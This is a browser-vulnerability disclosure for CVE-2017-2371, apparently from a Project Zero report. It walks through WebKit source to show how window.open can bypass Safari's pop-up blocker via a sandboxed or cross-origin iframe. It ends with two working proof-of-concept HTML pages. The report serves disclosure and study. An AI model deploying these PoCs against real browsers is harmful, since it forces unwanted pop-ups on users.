Apple WebKit: Bypass pop-up blocker via cross-origin or sandboxed iframe. 

CVE-2017-2371


The second argument of window.open is a name for the new window. If there's a frame that has same name, it will try to load the URL in that. If not, it just tries to create a new window and pop-up. But without the user's click event, its attempt will fail.

Here's some snippets.

RefPtr<DOMWindow> DOMWindow::open(const String& urlString, const AtomicString& frameName, const String& windowFeaturesString,
    DOMWindow& activeWindow, DOMWindow& firstWindow)
{
    ...
    ---------------- (1) -----------------------
    if (!firstWindow.allowPopUp()) { <<---- checks there's the user's click event.
        // Because FrameTree::find() returns true for empty strings, we must check for empty frame names.
        // Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker.
        if (frameName.isEmpty() || !m_frame->tree().find(frameName))
            return nullptr;
    }
    --------------------------------------------
    ...
    RefPtr<Frame> result = createWindow(urlString, frameName, parseWindowFeatures(windowFeaturesString), activeWindow, *firstFrame, *m_frame);
    return result ? result->document()->domWindow() : nullptr;
}


RefPtr<Frame> DOMWindow::createWindow(const String& urlString, const AtomicString& frameName, const WindowFeatures& windowFeatures, DOMWindow& activeWindow, Frame& firstFrame, Frame& openerFrame, std::function<void (DOMWindow&)> prepareDialogFunction)
{
    ...
    RefPtr<Frame> newFrame = WebCore::createWindow(*activeFrame, openerFrame, frameRequest, windowFeatures, created);
    if (!newFrame)
        return nullptr;

    ...
}

RefPtr<Frame> createWindow(Frame& openerFrame, Frame& lookupFrame, const FrameLoadRequest& request, const WindowFeatures& features, bool& created)
{
    ASSERT(!features.dialog || request.frameName().isEmpty());

    created = false;

    ---------------- (2) -----------------------
    if (!request.frameName().isEmpty() && request.frameName() != "_blank") {
        if (RefPtr<Frame> frame = lookupFrame.loader().findFrameForNavigation(request.frameName(), openerFrame.document())) {
            if (request.frameName() != "_self") {
                if (Page* page = frame->page())
                    page->chrome().focus();
            }
            return frame;
        }
    }
    --------------------------------------------

    <<<<<----------- failed to find the frame, creates a new one.
    ...
}

The logic of the code (1) depends on the assumption that if |m_frame->tree().find(frameName)| succeeds, |lookupFrame.loader().findFrameForNavigation| at (2) will also succeed. If we could make |m_frame->tree().find(frameName)| succeed but |lookupFrame.loader().findFrameForNavigation| fail, a new window will be created and popped up without the user's click event.



Let's look into |findFrameForNavigation|.

Frame* FrameLoader::findFrameForNavigation(const AtomicString& name, Document* activeDocument)
{
    Frame* frame = m_frame.tree().find(name);

    // FIXME: Eventually all callers should supply the actual activeDocument so we can call canNavigate with the right document.
    if (!activeDocument)
        activeDocument = m_frame.document();

    if (!activeDocument->canNavigate(frame))
        return nullptr;

    return frame;
}

bool Document::canNavigate(Frame* targetFrame)
{
    ...
    if (isSandboxed(SandboxNavigation)) { <<<--------------- (1)
        if (targetFrame->tree().isDescendantOf(m_frame))
            return true;

        const char* reason = "The frame attempting navigation is sandboxed, and is therefore disallowed from navigating its ancestors.";
        if (isSandboxed(SandboxTopNavigation) && targetFrame == &m_frame->tree().top())
            reason = "The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set.";

        printNavigationErrorMessage(targetFrame, url(), reason);
        return false;
    }

    ...

    if (canAccessAncestor(securityOrigin(), targetFrame)) <<<------------------- (2)
        return true;

    ...

    return false;
}

There are two points to make |Document::canNavigate| return false.

(1). Using a sandboxed iframe.
<body>
<iframe name="one"></iframe>
<iframe id="two" sandbox="allow-scripts allow-same-origin allow-popups"></iframe>

<script>
function main() {
    two.eval('open("<a href="https://abc.xyz" title="" class="" rel="nofollow">https://abc.xyz</a>", "one");');
}

main()
</script>
</body>

(2). Using a cross-origin iframe.
<body>
<iframe name="one"></iframe>

<script>
function main() {
    document.body.appendChild(document.createElement("iframe")).contentDocument.location =
        "data:text/html,<script>open('<a href="https://abc.xyz" title="" class="" rel="nofollow">https://abc.xyz</a>', 'one')</scri" + "pt>";
}

main()
</script>
</body>

Tested on Safari 10.0.2 (12602.3.12.0.1).


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt